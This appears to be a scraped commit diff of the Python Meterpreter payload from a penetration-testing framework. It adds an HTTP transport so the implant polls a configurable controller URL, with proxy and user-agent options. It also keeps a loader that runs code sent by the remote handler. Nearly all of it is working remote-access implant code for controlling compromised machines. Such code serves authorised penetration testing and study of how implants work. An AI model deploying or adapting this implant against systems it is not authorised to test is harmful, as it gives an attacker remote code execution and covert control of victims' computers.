18
18
else :
19
19
has_windll = hasattr (ctypes , 'windll' )
20
20
21
+ # this MUST be imported for urllib to work on OSX
22
+ try :
23
+ import SystemConfiguration as osxsc
24
+ has_osxsc = True
25
+ except ImportError :
26
+ has_osxsc = False
27
+
28
+ try :
29
+ urllib_imports = ['ProxyHandler' , 'Request' , 'build_opener' , 'install_opener' , 'urlopen' ]
30
+ if sys .version_info [0 ] < 3 :
31
+ urllib = __import__ ('urllib2' , fromlist = urllib_imports )
32
+ else :
33
+ urllib = __import__ ('urllib.request' , fromlist = urllib_imports )
34
+ except ImportError :
35
+ has_urllib = False
36
+ else :
37
+ has_urllib = True
38
+
21
39
if sys .version_info [0 ] < 3 :
22
40
is_bytes = lambda obj : issubclass (obj .__class__ , str )
23
41
bytes = lambda * args : str (* args [:1 ])
24
42
NULL_BYTE = '\x00 '
25
43
else :
44
+ if isinstance (__builtins__ , dict ):
45
+ is_str = lambda obj : issubclass (obj .__class__ , __builtins__ ['str' ])
46
+ str = lambda x : __builtins__ ['str' ](x , 'UTF-8' )
47
+ else :
48
+ is_str = lambda obj : issubclass (obj .__class__ , __builtins__ .str )
49
+ str = lambda x : __builtins__ .str (x , 'UTF-8' )
26
50
is_bytes = lambda obj : issubclass (obj .__class__ , bytes )
27
- str = lambda x : __builtins__ ['str' ](x , 'UTF-8' )
28
51
NULL_BYTE = bytes ('\x00 ' , 'UTF-8' )
52
+ long = int
29
53
30
54
#
31
55
# Constants
32
56
#
57
+
58
+ # these values may be patched, DO NOT CHANGE THEM
33
59
DEBUGGING = False
60
+ HTTP_COMMUNICATION_TIMEOUT = 300
61
+ HTTP_CONNECTION_URL = None
62
+ HTTP_EXPIRATION_TIMEOUT = 604800
63
+ HTTP_PROXY = None
64
+ HTTP_USER_AGENT = None
34
65
35
66
PACKET_TYPE_REQUEST = 0
36
67
PACKET_TYPE_RESPONSE = 1
@@ -284,15 +315,43 @@ def write(self, channel_data):
284
315
export (STDProcess )
285
316
286
317
class PythonMeterpreter (object ):
287
- def __init__ (self , socket ):
318
+ def __init__ (self , socket = None ):
288
319
self .socket = socket
320
+ self .driver = None
321
+ self .running = False
322
+ self .communications_active = True
323
+ self .communications_last = 0
324
+ if self .socket :
325
+ self .driver = 'tcp'
326
+ elif HTTP_CONNECTION_URL :
327
+ self .driver = 'http'
328
+ self .last_registered_extension = None
289
329
self .extension_functions = {}
290
330
self .channels = {}
291
331
self .interact_channels = []
292
332
self .processes = {}
293
333
for func in list (filter (lambda x : x .startswith ('_core' ), dir (self ))):
294
334
self .extension_functions [func [1 :]] = getattr (self , func )
295
- self .running = True
335
+ if self .driver :
336
+ if hasattr (self , 'driver_init_' + self .driver ):
337
+ getattr (self , 'driver_init_' + self .driver )()
338
+ self .running = True
339
+
340
+ def driver_init_http (self ):
341
+ if HTTP_PROXY :
342
+ proxy_handler = urllib .ProxyHandler ({'http' : HTTP_PROXY })
343
+ opener = urllib .build_opener (proxy_handler )
344
+ else :
345
+ opener = urllib .build_opener ()
346
+ if HTTP_USER_AGENT :
347
+ opener .addheaders = [('User-Agent' , HTTP_USER_AGENT )]
348
+ urllib .install_opener (opener )
349
+ self ._http_last_seen = time .time ()
350
+ self ._http_request_headers = {'Content-Type' : 'application/octet-stream' }
351
+
352
+ def register_extension (self , extension_name ):
353
+ self .last_registered_extension = extension_name
354
+ return self .last_registered_extension
296
355
297
356
def register_function (self , func ):
298
357
self .extension_functions [func .__name__ ] = func
@@ -318,19 +377,73 @@ def add_process(self, process):
318
377
self .processes [idx ] = process
319
378
return idx
320
379
380
+ def get_packet (self ):
381
+ packet = getattr (self , 'get_packet_' + self .driver )()
382
+ self .communications_last = time .time ()
383
+ if packet :
384
+ self .communications_active = True
385
+ return packet
386
+
387
+ def send_packet (self , packet ):
388
+ getattr (self , 'send_packet_' + self .driver )(packet )
389
+ self .communications_last = time .time ()
390
+ self .communications_active = True
391
+
392
+ def get_packet_http (self ):
393
+ packet = None
394
+ request = urllib .Request (HTTP_CONNECTION_URL , bytes ('RECV' , 'UTF-8' ), self ._http_request_headers )
395
+ try :
396
+ url_h = urllib .urlopen (request )
397
+ packet = url_h .read ()
398
+ except :
399
+ if (time .time () - self ._http_last_seen ) > HTTP_COMMUNICATION_TIMEOUT :
400
+ self .running = False
401
+ else :
402
+ self ._http_last_seen = time .time ()
403
+ if packet :
404
+ packet = packet [8 :]
405
+ else :
406
+ packet = None
407
+ return packet
408
+
409
+ def send_packet_http (self , packet ):
410
+ request = urllib .Request (HTTP_CONNECTION_URL , packet , self ._http_request_headers )
411
+ try :
412
+ url_h = urllib .urlopen (request )
413
+ response = url_h .read ()
414
+ except :
415
+ if (time .time () - self ._http_last_seen ) > HTTP_COMMUNICATION_TIMEOUT :
416
+ self .running = False
417
+ else :
418
+ self ._http_last_seen = time .time ()
419
+
420
+ def get_packet_tcp (self ):
421
+ packet = None
422
+ if len (select .select ([self .socket ], [], [], 0.5 )[0 ]):
423
+ packet = self .socket .recv (8 )
424
+ if len (packet ) != 8 :
425
+ self .running = False
426
+ return None
427
+ pkt_length , pkt_type = struct .unpack ('>II' , packet )
428
+ pkt_length -= 8
429
+ packet = bytes ()
430
+ while len (packet ) < pkt_length :
431
+ packet += self .socket .recv (4096 )
432
+ return packet
433
+
434
+ def send_packet_tcp (self , packet ):
435
+ self .socket .send (packet )
436
+
321
437
def run (self ):
322
438
while self .running :
323
- if len (select .select ([self .socket ], [], [], 0.5 )[0 ]):
324
- request = self .socket .recv (8 )
325
- if len (request ) != 8 :
326
- break
327
- req_length , req_type = struct .unpack ('>II' , request )
328
- req_length -= 8
329
- request = bytes ()
330
- while len (request ) < req_length :
331
- request += self .socket .recv (4096 )
439
+ request = None
440
+ should_get_packet = self .communications_active or ((time .time () - self .communications_last ) > 0.5 )
441
+ self .communications_active = False
442
+ if should_get_packet :
443
+ request = self .get_packet ()
444
+ if request :
332
445
response = self .create_response (request )
333
- self .socket . send (response )
446
+ self .send_packet (response )
334
447
else :
335
448
# iterate over the keys because self.channels could be modified if one is closed
336
449
channel_ids = list (self .channels .keys ())
@@ -370,7 +483,7 @@ def run(self):
370
483
pkt += tlv_pack (TLV_TYPE_PEER_HOST , inet_pton (client_sock .family , client_addr [0 ]))
371
484
pkt += tlv_pack (TLV_TYPE_PEER_PORT , client_addr [1 ])
372
485
pkt = struct .pack ('>I' , len (pkt ) + 4 ) + pkt
373
- self .socket . send (pkt )
486
+ self .send_packet (pkt )
374
487
if data :
375
488
pkt = struct .pack ('>I' , PACKET_TYPE_REQUEST )
376
489
pkt += tlv_pack (TLV_TYPE_METHOD , 'core_channel_write' )
@@ -379,7 +492,7 @@ def run(self):
379
492
pkt += tlv_pack (TLV_TYPE_LENGTH , len (data ))
380
493
pkt += tlv_pack (TLV_TYPE_REQUEST_ID , generate_request_id ())
381
494
pkt = struct .pack ('>I' , len (pkt ) + 4 ) + pkt
382
- self .socket . send (pkt )
495
+ self .send_packet (pkt )
383
496
384
497
def handle_dead_resource_channel (self , channel_id ):
385
498
del self .channels [channel_id ]
@@ -390,21 +503,25 @@ def handle_dead_resource_channel(self, channel_id):
390
503
pkt += tlv_pack (TLV_TYPE_REQUEST_ID , generate_request_id ())
391
504
pkt += tlv_pack (TLV_TYPE_CHANNEL_ID , channel_id )
392
505
pkt = struct .pack ('>I' , len (pkt ) + 4 ) + pkt
393
- self .socket . send (pkt )
506
+ self .send_packet (pkt )
394
507
395
508
def _core_loadlib (self , request , response ):
396
509
data_tlv = packet_get_tlv (request , TLV_TYPE_DATA )
397
510
if (data_tlv ['type' ] & TLV_META_TYPE_COMPRESSED ) == TLV_META_TYPE_COMPRESSED :
398
511
return ERROR_FAILURE
399
- preloadlib_methods = list (self .extension_functions .keys ())
512
+
513
+ self .last_registered_extension = None
400
514
symbols_for_extensions = {'meterpreter' :self }
401
515
symbols_for_extensions .update (EXPORTED_SYMBOLS )
402
516
i = code .InteractiveInterpreter (symbols_for_extensions )
403
517
i .runcode (compile (data_tlv ['value' ], '' , 'exec' ))
404
- postloadlib_methods = list (self .extension_functions .keys ())
405
- new_methods = list (filter (lambda x : x not in preloadlib_methods , postloadlib_methods ))
406
- for method in new_methods :
407
- response += tlv_pack (TLV_TYPE_METHOD , method )
518
+ extension_name = self .last_registered_extension
519
+
520
+ if extension_name :
521
+ check_extension = lambda x : x .startswith (extension_name )
522
+ lib_methods = list (filter (check_extension , list (self .extension_functions .keys ())))
523
+ for method in lib_methods :
524
+ response += tlv_pack (TLV_TYPE_METHOD , method )
408
525
return ERROR_SUCCESS , response
409
526
410
527
def _core_shutdown (self , request , response ):
@@ -546,5 +663,8 @@ def create_response(self, request):
546
663
os .setsid ()
547
664
except OSError :
548
665
pass
549
- met = PythonMeterpreter (s )
666
+ if HTTP_CONNECTION_URL and has_urllib :
667
+ met = PythonMeterpreter ()
668
+ else :
669
+ met = PythonMeterpreter (s )
550
670
met .run ()
0 commit comments